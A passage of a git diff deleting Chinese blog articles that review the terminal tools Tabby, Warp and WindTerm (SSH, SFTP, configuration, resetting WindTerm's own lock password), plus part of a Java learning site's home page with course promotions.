在打印日志的时候可以使用占位符,既提高了程序性能(临时字符串少了,垃圾回收的工作量就小),又让代码变得美观统一。 - -4)小伙伴们如果知道更多秘密的话,建议在留言区贴出来哦。 - - - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) \ No newline at end of file diff --git a/docs/src/gongju/tabby.md b/docs/src/gongju/tabby.md deleted file mode 100644 index 4a9915fd53..0000000000 --- a/docs/src/gongju/tabby.md +++ /dev/null @@ -1,175 +0,0 @@ ---- -title: Tabby:一款逼格更高的开源终端工具,GitHub 星标 50+k -shortTitle: Tabby:开源终端工具 -category: - - Java企业级开发 -tag: - - 辅助工具 -description: Tabby:一款逼格更高的开源终端工具,GitHub 星标 50+k -head: - - - meta - - name: keywords - content: 辅助工具,GitHub,终端,Tabby,tabby 终端,tabby 教程,Java企业级开发 ---- - -大家好,我是二哥呀。 - -作为一名 Java 后端开发,日常工作中免不了要和 Linux 服务器打交道,因为生产环境基本上都是部署在 Linux 环境下的。以前呢,我会选择 Xshell 来作为终端进行远程操作。 - -随着付费版本的出现,尤其是 Xshell 把 FTP 分离出去后,上传下载文件的话还需要单独装一下 Xftp,这显然没有之前集成在一起方便😖。 - -还有一点让我费解的是,Xshell 竟然一直没有推出 macOS 版。 - -不过,滴水之恩当涌泉相报,我还是要说,Xshell 真的是非常的 Nice,从实习到现在,Windows 环境下,我基本上一直在用,差不多有快 10 年的时间了,感情还是在的。 - -相信很多小伙伴也在问,有没有一款,**集成了 FTP 功能,并且跨平台的终端工具呢?如果能免费开源的话,就更好了**! - -答案是有的,它就是 **Tabby**! - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/tabby-01.png) - -GitHub 上已经有 52.8k 的 star 了,这说明 Tabby 非常的受欢迎: - ->[https://github.com/eugeny/tabby](https://github.com/eugeny/tabby) - -*Tabby:二哥,我谢谢你呀,能再吹两句吗?* - -Tabby 是一个高度可定制化的 跨平台的终端工具,支持 Windows、macOS 和 Linux,自带 SFTP 功能,能与 Linux 服务器轻松传输文件,支持多种主题,界面炫酷,插件丰富。 - -## 一、安装 Tabby - -直接到官网 [tabby.sh](https://tabby.sh/) 点击「download」按钮就可以跳转到下载页面,最新的 release 版本是 1.0.205。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/tabby-02.png) - -Linux 和 Windows 的比较好选,macOS 分为两个版本,一个是 arm64,一个是 x86-64,什么意思呢? - -这里简单普及下哈。 - ->ARM是英国ARM公司提供一种CPU架构的知识产权,目前主流的手机和平板电脑都采用ARM架构,但 ARM 不生产芯片,只是从各种嵌入式设备、智能手机、平板电脑、智能穿戴和物联网设备体内的上亿颗处理器中“抽成”。 - -Apple M1 是苹果公司的第一款基于ARM架构的自研处理器单片系统。 - -> X86_X64 源于英特尔几十年前出品的CPU型号8086,包括后续型号8088/80286/80386/80486/80586等等,8086以及8088被当时的IBM采用,制造出了名噪一时的IBM PC机,从此个人电脑风靡一时。 - -详情可参阅下面这篇: - ->[https://www.cnblogs.com/zhaoqingqing/p/13145115.html](https://www.cnblogs.com/zhaoqingqing/p/13145115.html) - -从这一点上可以证明,Tabby 的更新是非常勤快的,连 macOS 的最新芯片 M1 都支持了,厉害了呀,我的虎斑猫(Tabby)! - -按照提示,一步步安装就 OK 了。完成后打开,这界面还是非常炫酷的。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/tabby-03.png) - -## 二、SSH 连接 - -SSH,也就是 Secure Shell(安全外壳协议),是一种加密的网络传输协议,可在不安全的网络中为网络服务提供安全的传输环境,通过在网络中创建安全隧道来实现 SSH 客户端和服务器端之间的连接。 - -那不妨我们就使用 Tabby 来与服务器建立一个 SSH 连接吧。 - -点击「setting」→「profiles & connections」→「new profile」。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/tabby-04.png) - -填写服务器的 IP 地址和密码,然后点击「save」。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/tabby-05.png) - -之后点击「运行」按钮,就可以进入到终端页面了。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/tabby-06.png) - - -好了,现在可以对服务器进行操作了,执行下 top 命令可以查看服务器上正在运行的进程信息。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/tabby-07.png) - -## 三、SFTP 传输文件 - -Tabby 集成了 SFTP,所以上传下载文件就变得非常的简单。只需要点击一下「SFTP」图标就可以打开文件传输窗口。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/tabby-08.png) - -上传的时候支持拖拽,完成后会弹出文件传输成功的提示消息。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/tabby-09.png) - -下载的时候点击要下载的文件,然后会弹出存储对话框,选择对应的文件夹,以及修改对应的文件名点击「存储」就可以了。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/tabby-10.png) - -## 四、配置 Tabby - -「Settings」 的面板下有一个「Appearance」的菜单,可以对 Tabby 的外观进行设置,比如说调整字体,比如说自定义样式。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/tabby-11.png) - -「Appearance」的菜单可以对 Tabby 的配色方案进行修改,里面的主题非常多,不过我感觉默认的就挺不错,毕竟是官方推荐的。 - - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/tabby-12.png) - - 「Plugins」 菜单中还有不少插件可供扩展。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/tabby-13.png) - -* [clickable-links](https://github.com/Eugeny/tabby-clickable-links) - 使终端中的路径和 URL 可点击 -* [docker](https://github.com/Eugeny/tabby-docker) - 连接到 Docker 容器 -* [title-control](https://github.com/kbjr/terminus-title-control) - 允许通过提供要删除的前缀、后缀和/或字符串来修改终端选项卡的标题 -* [quick-cmds](https://github.com/Domain/terminus-quick-cmds) - 快速向一个或所有终端选项卡发送命令 -* [save-output](https://github.com/Eugeny/tabby-save-output) - 将终端输出记录到文件中 - -这里重点说一下「sync config」 这个插件,可以将配置同步到Github或者Gitee的插件。点击「Get」就可以安装,之后会提示你重启生效。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/tabby-14.png) - -生效后点击「Sync Config」菜单,就可以看到配置项了,类型可以选择 GitHub、Gitee、GitLab。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/tabby-15.png) - -这里以 Gitee 为例,进入个人 Gitee 主页,左侧菜单中选择「私人令牌」,然后点击「生成新令牌」。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/tabby-16.png) - -提交后会生成 token,复制到 Tabby 的 Token 输入框中,然后点击「Upload config」,就可以看到配置信息同步成功了。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/tabby-17.png) - - - - 「Window」 菜单中可以对当前窗口进行设置,比如说改变窗口的主题为 Paper,改变 tab 的位置到底部等等。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/tabby-18.png) - -## 五、总结 - -SSH 连接和 SFTP 传输恐怕是我们操作 Linux 服务器最常用的两个功能了,那 Tabby 对这两个功能的支持非常的友好,足够的轻量级。关键它是跨平台的,Windows、macOS 都可以用,再把配置信息同步到云上后,多平台下切换起来简直不要太舒服。 - -Windows 用户习惯用 Xshell,macOS 用户习惯用 iTerm2,但这两款工具都没办法跨平台,多平台操作的用户就可以选择 Tabby 来体验一下,真心不错。 - -![](https://cdn.paicoding.com/stutymore/tabby-20231219193213.png) - - -Tabby 的学习资料还比较少,所以希望二哥的这篇文章能给有需要的小伙伴提供一点点的帮助和启发。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) - - - - - - - - - - - - - - - - - - - diff --git a/docs/src/gongju/warp.md b/docs/src/gongju/warp.md deleted file mode 100644 index e95f991940..0000000000 --- a/docs/src/gongju/warp.md +++ /dev/null @@ -1,181 +0,0 @@ ---- -title: Warp:号称下一代终端神器,GitHub星标2.8k+,用完爱不释手 -shortTitle: Warp:21世纪终端工具 -category: - - Java企业级开发 -tag: - - 辅助工具 -description: Warp:一款21世纪人用的终端工具,GitHub星标2.8k+,用完爱不释手 -head: - - - meta - - name: keywords - content: 辅助工具,GitHub,终端,Warp,Warp 登录,Warp 终端,Java企业级开发 ---- - -程序员的一生,用的最多的两个工具,一个是代码编辑器(Code Editor),另外一个就是命令行终端工具(Terminal)。这两个工具对于提高开发效率至关重要。 - -代码编辑器在过去的 40 年里不断进化,从我上大学敲 Java 代码开始,就经历了 MyEclipse、NetBeans、Eclipse,到如今称王称霸的 Intellij IDEA。 - -但终端工具,基本上和上个世纪七八十年代差不多。 - -那本期给大家推荐的这款终端——Warp——绝对会让你大开眼界,用完爱不释手! - ->还记得之前给大家推荐的 [Tabby](https://javabetter.cn/gongju/tabby.html) 吗?是时候喜新厌旧了。 - - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/warp-e0411889-e506-480f-a719-eba4f2d229b4.png) - -Warp,一个超级牛叉的 terminal,号称是 21 世纪的终端,还未正式发布,就获得了两千三百万美元的融资。 - ->官方网站:[https://www.warp.dev/](https://www.warp.dev/) - -Warp 在 GitHub 上也已经开源,目前已经有 2.8k+ 的 star 了。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/warp-17a2270c-3bd1-47eb-a205-b7defde42895.png) - ->GitHub 地址:[https://github.com/warpdotdev/Warp](https://github.com/warpdotdev/Warp) - - -Warp 号称自己“Reinvent the Terminal”,也就是重新定义了终端,用过 vscode 的小伙伴是不是对这句口号似曾相识? - -是的,vscode 号称自己“Code editing Redefined”,也就是重新定义了代码编辑器。 - -## 一、安装 Warp - -直接到官网 `warp.dev` 点击「download now」就可以下载最新版了。下载完成后,双击安装包就可以安装了。完成后打开,界面还是非常清爽的。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/warp-188834c7-70b7-4f9c-a817-b4a691625fd1.png) - -Warp 支持 GitHub 账户登录。不过,如果你在登录的过程中因为某些原因无法完成跳转,可以通过下面的链接自行解决。 - ->[https://embiid.blog/post/WARP-does-not-work-after-submitting-an-invite-code/](https://embiid.blog/post/WARP-does-not-work-after-submitting-an-invite-code/) - -如果顺利登录,会跳转到这个页面。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/warp-84c0b513-57f3-4ab4-8c77-508c10c923c5.png) - -填写一些 Warp 的调查信息后,就会跳转到 Warp 的初始界面。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/warp-304639e9-7554-45b4-a199-e7c0c3b40c33.png) - ->需要注意的是,Warp 目前仅支持 macOS 版,Linux 和 Windows 用户还需要等待一段时间。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/warp-a4d43a50-0ad9-4f91-ad4e-c1c0788bb580.png) - -其实 macOS 版也是刚刚公测,我这份攻略绝壁是热乎乎的。想要第一时间关注 Warp 版本信息的话,可以戳下图中提到的链接填写自己的邮箱。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/warp-f622d505-b136-4b9d-95c5-a6872e1423e1.png) - -## 二、使用 Warp - -Warp 解决的第一个痛点,就是减少配置、方便输入、优化输出,并且增加常用命令的自动提示。 - -**1)智能提示** - -普通的终端在你键入 tab 的时候,是这样提示的,就是简单地帮你罗列下。 - - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/warp-078017c6-a872-466a-8aa2-f202c9371493.png) - -而 Warp 就非常的时髦,会给你滚动可选的列表形式展示出来。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/warp-4e205289-d8c4-49a9-90ba-08aef8beb627.png) - -Warp 的智能提示也更加“智能化”,它会猜测你下一步的命令到底输入什么。 - -比如说我的工作目录下有一个 README.md 的文件,那当我输入 `echo '沉默王二' >>`的时候它会把 `README.md` 提示在后面。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/warp-8948ab59-3ce8-4b04-80a5-ecd7663e1034.png) - -**2)智能记忆** - -Warp 会记录上一次执行的命令,在顶部会有一个提示的按钮,当你点击的时候,它会自动滚动到上一个命令执行的位置。 - -点击「clear」之前。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/warp-6055bfaa-a146-4cf8-a6f4-aa493dbfa60b.png) - -点击「clear」之后。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/warp-181dff97-bd6f-4c41-94c8-8e9ac5567460.png) - -**3)区域选择** - -传统的终端,在复制区域命令和输出结果的时候需要全部手动选择,而 Warp 是可以点选的,之后可以通过右键菜单进行复制粘贴(可以选择只复制命令或者输出,也可以都选),非常方便。 - - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/warp-23c0a936-2371-4cf4-acf1-555bceecac44.png) - -**4)历史命令** - -传统的终端在通过 up-down 键选择历史命令的时候,一次只能提示一个命令。而 Warp 会把历史命令做成一个滚动的可以选择的列表。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/warp-da43dca3-d8d1-43ad-9308-f8ec1c2b871b.png) - - -**5)命令导航** - -同时按下 Ctrl+Shift+R 可以打开命令导航,Warp 集成了很多工具的命令导航。比如说我们要执行 `git reset` 命令,那么到底格式什么,应该怎么执行,Warp 都提示的非常到位。 - - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/warp-b9a4fd3f-24b2-4f6a-8a70-58fa1b313df3.png) - -这让我想起了 macOS 的效率工具 Alfred,可以搜索任何你想要的命令。 - -**6)AI 植入** - -Warp 还提供了 AI 智能搜索,快捷键可以在 setting→keyboard shortcuts 中找得到,键入 AI 关键字即可。 - -可调整为自己喜欢的快捷键。我目前设置的是 `Ctrl+shift+>`。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/warp-04300bc5-5d0d-494b-955c-1d270133227a.png) - -比如说我问它“how many lines were changed in the last 2 commits?” - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/warp-871e51e9-c2ac-4ecb-bfcb-ff339f05bd61.png) - -Warp 解决的第二个痛点是增加协作功能。不过由于我目前没有邀请其他用户参与,还无法使用共享功能,后面有小伙伴体验的话,可以通过我分享的链接下载试一波。 - ->https://app.warp.dev/referral/25KR3Y - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/warp-d8952a84-a0a7-4c3d-b237-87cdc997bb4c.png) - -## 三、配置 Warp - -输入 Command+P 快捷键可以打开 Warp 的命令面板。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/warp-369d16f6-f897-4c9f-bbea-631d561e145b.png) - -键入 `sett` 关键字就可以打开配置页。 - -比如说在「Appearance」选项卡里可以设置 Warp 的主题、字体,以及紧凑型模式。 - -大概有十多种主题可选,比如说这个女生非常喜欢的粉色系。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/warp-6b5dbf4c-7bb0-4926-b9e9-b64333cc2ed8.png) - -更多主题可以到 GitHub 仓库的 theme 页。 - ->[https://github.com/warpdotdev/themes](https://github.com/warpdotdev/themes) - -至于快捷键配置,如果不确定有哪些快捷键可以尝试,直接点击 Warp 顶部的这个温馨提示「welcome tips」就可以了。 - - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/warp-aa785da8-bb39-4851-97f5-b7f8baaccf34.png) - - -## 四、总结 - -最后总结一波吧。 - -这波着实属于尝鲜了,市面上应该还木有 Warp 终端的普及安利文章,我这期应该属于大姑娘坐花轿———头一回。 - -害,登录折腾了好久,原因我就不多说了,小伙伴们自行体会哈。反正我是没被劝退。 - -幸好是没放弃,所以才体验到了 Warp 的强大之处,真的是改变了我对终端 terminal 的认知——太特喵的炫酷了! - -这个过程就有点陶渊明《桃花源记》里那句“初极狭,复行数十步,豁然开朗”的赶脚。 - -喜欢的小伙伴一定要尝试一把,你会来感谢我的。好了,这期就先聊到这吧,毕竟 Warp 刚公测,后面有机会再来给大家详细地说。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) diff --git a/docs/src/gongju/windterm.md b/docs/src/gongju/windterm.md deleted file mode 100644 index 926b4c509c..0000000000 --- a/docs/src/gongju/windterm.md +++ /dev/null @@ -1,195 +0,0 @@ ---- -title: WindTerm:新一代开源免费的终端工具,GitHub星标6.6k+,太酷了! -shortTitle: WindTerm:新一代终端工具 -category: - - Java企业级开发 -tag: - - 辅助工具 -description: WindTerm:新一代开源免费的终端工具,GitHub星标6.6k+,太酷了! -head: - - - meta - - name: keywords - content: 辅助工具,GitHub,终端,WindTerm,WindTerm 教程,WindTerm 终端,Java企业级开发 ---- - -继 [Tabby](https://javabetter.cn/gongju/tabby.html)、[Warp](https://javabetter.cn/gongju/warp.html) 后,今天再来给大家推荐一款终端神器——WindTerm,完全开源,在 GitHub 上已经收获 6.6k 的 star。 - ->[https://github.com/kingToolbox/WindTerm](https://github.com/kingToolbox/WindTerm) - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/windterm-5220349e-fb8b-41c8-94c7-9d37b0eeaa82.png) - -作者还拿 WindTerm 和 Putty、xterm、Windows Terminal + ssh.exe、iterm2、rxvt、Gnome等等做了一个性能对比,结果其他终端均被吊打的不成样子,真正的**杀人诛心** - -哈哈哈哈哈哈哈哈哈哈 - - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/windterm-d2958336-7d9b-46a5-9fd4-224b195dba03.png) - -工具不嫌多,哪个顺手用哪个,对吧?没毛病吧😁 - - -## 安装 WindTerm - -WindTerm 不仅开源免费,还跨平台,支持 Windows、Linux 和 macOS。 - -直接到 release 页面选择适合自己操作系统的安装包。 - ->[https://github.com/kingToolbox/WindTerm/releases](https://github.com/kingToolbox/WindTerm/releases) - -体积 30M 左右,相对于动辄 200M 左右的安装包,真的是良心。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/windterm-f7abe795-d43b-4f53-93a5-e59241d45930.png) - -安装完成后,打开的界面和传统的终端不太一样,WindTerm 更像 IDE 的布局,左边是资源管理器+文件管理器,中间会默认打开一个 zsh 的终端窗口,右边是会话窗口+历史命令窗口,底部是发送窗口 + Shell 窗口。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/windterm-28d20f75-c5d0-47bf-96db-a2f470f03c42.png) - -## 使用 WindTerm - -### SSH - -使用终端最重要的一个场景就是 SSH,连接远程服务器,我这里有一个 1G 内存的轻量级云服务器,我们来连接它体验一下。 - -点击新建会话按钮开始 SSH 连接。 - - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/windterm-21565ed0-90d8-466f-b505-d1d2f58388be.png) - -添加主机名,点击「连接」开始进行远程链接。 - - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/windterm-fec8d31e-aa33-4d5e-b0c0-4c7f09ea208b.png) - -紧接着输入用户名和密码,我们关掉一些没必要的窗口,让整个界面更加清爽一些。 - - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/windterm-aae1b222-c6da-4285-8efe-e87e5cc66702.png) - -如果感觉字体比较小的话,可以直接按住**「command+」**两个组合键放大字体。 - -WindTerm 给我一个非常直观的操作是,它提供了一个折叠的功能,点击-号折叠,点击+号展开。 - - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/windterm-e3415e9c-d002-4492-af9d-83b02e87c7d8.png) - -还有一个就是智能提示,非常到位,响应速度很快。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/windterm-a34d2157-3a5d-4afa-a5c4-2cc323244c4f.png) - - -### SFTP - -除了 SSH,还有一个重要的场景就是上传文件,我们知道,Xshell 是直接将 FTP 分离了出去,我总觉得这个产品分割设计很脑残,放在一起挺好的。 - -WindTerm 是放在一起的,直接打开文件文件管理器,选择文件上传还是直接拖拽,都非常便利。 - - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/windterm-e23d187e-9d67-4e6a-9b22-e9a3a0e459a5.png) - -文件上传完成后会有一个进度条提示。 - -如果想直接在 SSH 窗口中上传文件的话,就需要安装lrzsz。如果没安装的话,会提示错误❎。 - - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/windterm-3eb27b2e-ba98-44f2-8ec3-4ec86e9f62d1.png) - -因为我的远程服务器是 CentOS,所以执行 `yum install lrzsz`就可以直接安装了。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/windterm-c6f757b9-a6e0-4bd9-beef-9ce501cbdf41.png) - -安装完成后就可以直接在 SSH 上传文件了,和其他终端不同的是,WindTerm 会有进度条提示。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/windterm-ee7b8acf-6e39-42d7-ab92-bf8e24243c38.png) - -WindTerm 还提供了高速传输模式,上传下载速度更快。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/windterm-f2315d1b-d6c9-4eff-8470-2088cff6cd05.png) - - -搞定 SSH 和 SFTP,一个终端的基础功能就全具备了,这也是我们最常用的两个场景。WindTerm 在这两方面都做的不错。 - -### 自动补全 - -WindTerm 的自动补全功能还是非常强大的,只需要在行首键入 `!` 就可以调出历史命令,然后使用向下的箭头选择历史命令就 OK 了。 - - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/windterm-838a4711-4e09-46d7-a0d5-99e302889d27.png) - -WindTerm 能够自动补全的命令非常全面,支持: - -- Linux Shell 命令。 -- MacOS Shell 命令。 -- Windows Cmd 命令。 -- PowerShell 命令。 -- 任何命令行程序的命令,例如 Git - - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/windterm-62b525bf-c4c6-4e3a-b313-884c945809e3.png) - - - -## 配置 WindTerm - -### 如何重置锁屏密码 - -不过有点小尴尬😓的是,WindTerm有自动锁屏的功能,过段时间(默认 30 分钟)没有操作,就会自动锁屏。然而,我之前并没有设置过锁屏密码,这就好像我自己的门我自己锁了,却没有钥匙🔑。 - - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/windterm-17017bd4-4da6-41f5-bf48-2b056dbfe258.png) - -虽然提供了更改主密码的功能,但我就不知道初始密码是什么,就更尴尬了。 - -怎么办? - -遇事不决问 issue:**如何重置锁屏密码**! - - - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/windterm-759ffc3b-0119-4a2b-bce5-68c7f8612b31.png) - - -果然已经有小伙伴提出了这个问题,我们顺藤摸瓜就可以搞定了,找到 user.config 文件。 - - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/windterm-f4a8b033-5d77-4361-935e-66c210e67690.png) - -干掉 application.fingerprint 和 application.masterPassword。 - - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/windterm-4cd13932-07a3-4696-9752-265ed76c4463.png) - -再找到 .wind/profiles/default.v10/terminal/user.sessions 文件删除 session.autoLogin 就可以将主密码设置为空字符串了,之后再来修改主密码,就 OK 了。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/windterm-21423050-3de4-4afe-9e4a-0b073c4f6504.png) - -### 更换主题 - -WindTerm 支持三种主题的切换,亮白模式、暗黑模式、黑白相间模式。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/windterm-6b123b12-903e-4040-86e6-95162df4aa09.png) - -我们来切换到亮白模式体验一下,还不错。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/windterm-a18114a4-17d5-4f83-b96d-f9007d67e560.png) - -### 自动复制 - -只需要在设置中,找到文本一栏,勾选「自动复制选定内容」就可以了。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/windterm-fd333685-e76e-434c-832e-2f2b594dfd35.png) - -选中内容,然后就直接复制了。 - -## 总结 - -总的来说,WindTerm 的体验不错,除了我上面提到的这些基础功能外,像分屏啊,转接端口啊,并且在 Windows 下的体验要比 macOS 操作系统下更酷一些。 - - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/windterm-201419f5-0097-4fe2-b24f-3d35c25c18d0.png) - - -作者把两者的使用技巧全部分享到了下面这个网址上,小伙伴们可以去解锁一下。 - ->[https://kingtoolbox.github.io/](https://kingtoolbox.github.io/) - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) diff --git a/docs/src/home.md b/docs/src/home.md deleted file mode 100644 index 1b9bc183a9..0000000000 --- a/docs/src/home.md +++ /dev/null @@ -1,569 +0,0 @@ ---- -title: 二哥的Java进阶之路x沉默王二 -isOriginal: true -headerDepth: 1 -description: 二哥的Java进阶之路,小白的零基础Java教程,从入门到进阶 -head: - - - meta - - name: keywords - content: Java,java,springboot,mysql,redis,教程,git,软件,编程,开发,互联网,Java 基础,Java 教程,二哥的Java进阶之路,Java 入门 - - name: description - content: 二哥的Java进阶之路,小白的零基础Java教程,从入门到进阶 ---- - -::: center -
- - 二哥的Java进阶之路 -
- - - - 无套路下载 - 二哥的Java进阶之路

-Github | -Gitee -
-::: - - -## 为什么会有这个开源知识库 - -知识库取名 **toBeBetterJavaer**,即 **To Be Better Javaer**,意为「成为一名更好的 Java 程序员」,是我自学 Java 以来所有原创文章和学习资料的大聚合。内容包括 Java 基础、Java 并发编程、Java 虚拟机、Java 企业级开发、Java 面试等核心知识点。据说每一个优秀的 Java 程序员都喜欢她,风趣幽默、通俗易懂。学 Java,就认准 二哥的Java进阶之路😄。 - - 知识库旨在为学习 Java 的小伙伴提供一系列: - - **优质的原创 Java 教程** - - **全面清晰的 Java 学习路线** - - **免费但靠谱的 Java 学习资料** - - **精选的 Java 岗求职面试指南** - - **Java 企业级开发所需的必备技术** - -赠人玫瑰手有余香。知识库会持续保持**更新**,欢迎收藏品鉴!推荐你通过在线阅读网站进行阅读,体验更好,速度更快! - -- [二哥的Java进阶之路在线网址(推荐👍)](https://javabetter.cn/) -- [技术派之二哥的Java进阶之路专栏](https://paicoding.com/column/5/1) - -如果你更喜欢离线的 PDF 版本,戳这个链接获取[👍二哥的 Java 进阶之路.pdf](https://javabetter.cn/overview/) - -**转载须知** :以下所有文章如非文末说明为转载皆为我(沉默王二)的原创,如果你需要转载,请在文末注明出处,如发现恶意抄袭/搬运,会动用法律武器维护自己的权益。让我们一起维护一个良好的技术创作环境! - -## 知识库地图 - -知识库收录的核心内容就全在这里面了,大类分为 Java 核心、Java 企业级开发、数据库、计算机基础、求职面试、学习资源、程序人生,几乎你需要的这里都有。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/tobebetterjavaer-map.png) - -一个人可以走得很快,但一群人才能走得更远。[二哥的编程星球](https://javabetter.cn/zhishixingqiu/)已经有 **10000 多名** 球友加入了(马上要涨价到 169 元,抓紧时间趁没涨价前加入吧),如果你也需要一个优质的学习环境,扫描下方的优惠券加入我们吧。 - -

- - - 星球优惠券 - - -

- -新人可免费体验 3 天,不满意可全额退款(只能帮你到这里了😄)。 - -这是一个 **简历精修 + AI/Agent实战项目 + Java 面试指南 + LeetCode 刷题**的私密圈子,你可以阅读星球专栏、向二哥提问、帮你制定学习计划、和球友一起打卡成长。两个置顶帖「球友必看」和「知识图谱」里已经沉淀了非常多优质的内容,**相信能帮助你走的更快、更稳、更远**。 - -- [二哥精修简历服务,让你投了就有笔试&面试✌️](https://javabetter.cn/zhishixingqiu/jianli.html) -- [二哥的PaiFlow工作流Agent项目派派工作流上线了,Agent时代你必须掌握✌️](https://javabetter.cn/zhishixingqiu/paiflow.html) -- [二哥的RAG知识库项目派聪明上线了,AI时代你必须拥有的实战项目✌️](https://javabetter.cn/zhishixingqiu/paismart.html) -- [Go 版本的派聪明RAG知识库项目上线了,学习 Go 语言的小伙伴有福了✌️](https://javabetter.cn/zhishixingqiu/paismart-go.html) -- [二哥的技术派实战项目更新了,秋招&暑期/日常实习大杀器✌️](https://javabetter.cn/zhishixingqiu/paicoding.html) -- [二哥的PmHub微服务实战项目上线了,校招和社招均可用✌️](https://javabetter.cn/zhishixingqiu/paicoding.html) -- [二哥的Java面试指南专栏更新了,求职面试必备✌️](https://javabetter.cn/zhishixingqiu/mianshi.html) - -## 学习路线 - -除了 Java 学习路线,还有 MySQL、Redis、C语言、C++、Python、Go 语言、操作系统、前端、数据结构与算法、蓝桥杯、大数据、Android、.Net等硬核学习路线,欢迎收藏品鉴! - -* [Java学习路线一条龙版(建议收藏🔥)](xuexiluxian/java/yitiaolong.md) -* [Java并发编程学习路线(建议收藏🔥)](xuexiluxian/java/thread.md) -* [Java虚拟机学习路线(建议收藏🔥)](xuexiluxian/java/jvm.md) -* [MySQL 学习路线(建议收藏🔥)](xuexiluxian/mysql.md) -* [Redis 学习路线(建议收藏🔥)](xuexiluxian/redis.md) -* [C语言学习路线(建议收藏🔥)](xuexiluxian/c.md) -* [C++学习路线(建议收藏🔥)](xuexiluxian/ccc.md) -* [Python学习路线(建议收藏🔥)](xuexiluxian/python.md) -* [Go语言学习路线(建议收藏🔥)](xuexiluxian/go.md) -* [操作系统学习路线(建议收藏🔥)](xuexiluxian/os.md) -* [前端学习路线(建议收藏🔥)](xuexiluxian/qianduan.md) -* [算法和数据结构学习路线(建议收藏🔥)](xuexiluxian/algorithm.md) -* [蓝桥杯学习路线(建议收藏🔥)](xuexiluxian/lanqiaobei.md) -* [大数据学习路线(建议收藏🔥)](xuexiluxian/bigdata.md) -* [Android 安卓学习路线(建议收藏🔥)](xuexiluxian/android.md) -* [.NET 学习路线(建议收藏🔥)](xuexiluxian/donet.md) -* [Linux 学习路线(建议收藏🔥)](xuexiluxian/linux.md) - -## 面渣逆袭 - -**面试前必读系列**!包括 Java 基础、Java 集合框架、Java 并发编程、Java 虚拟机、Spring、Redis、MyBatis、MySQL、操作系统、计算机网络、RocketMQ、分布式、微服务、设计模式、Linux 等等。 - -- [面渣逆袭(MySQL八股文面试题)必看👍](sidebar/sanfene/mysql.md) -- [面渣逆袭(Redis八股文面试题)必看👍](sidebar/sanfene/redis.md) -- [面渣逆袭(Spring八股文面试题)必看👍](sidebar/sanfene/spring.md) -- [面渣逆袭(Java 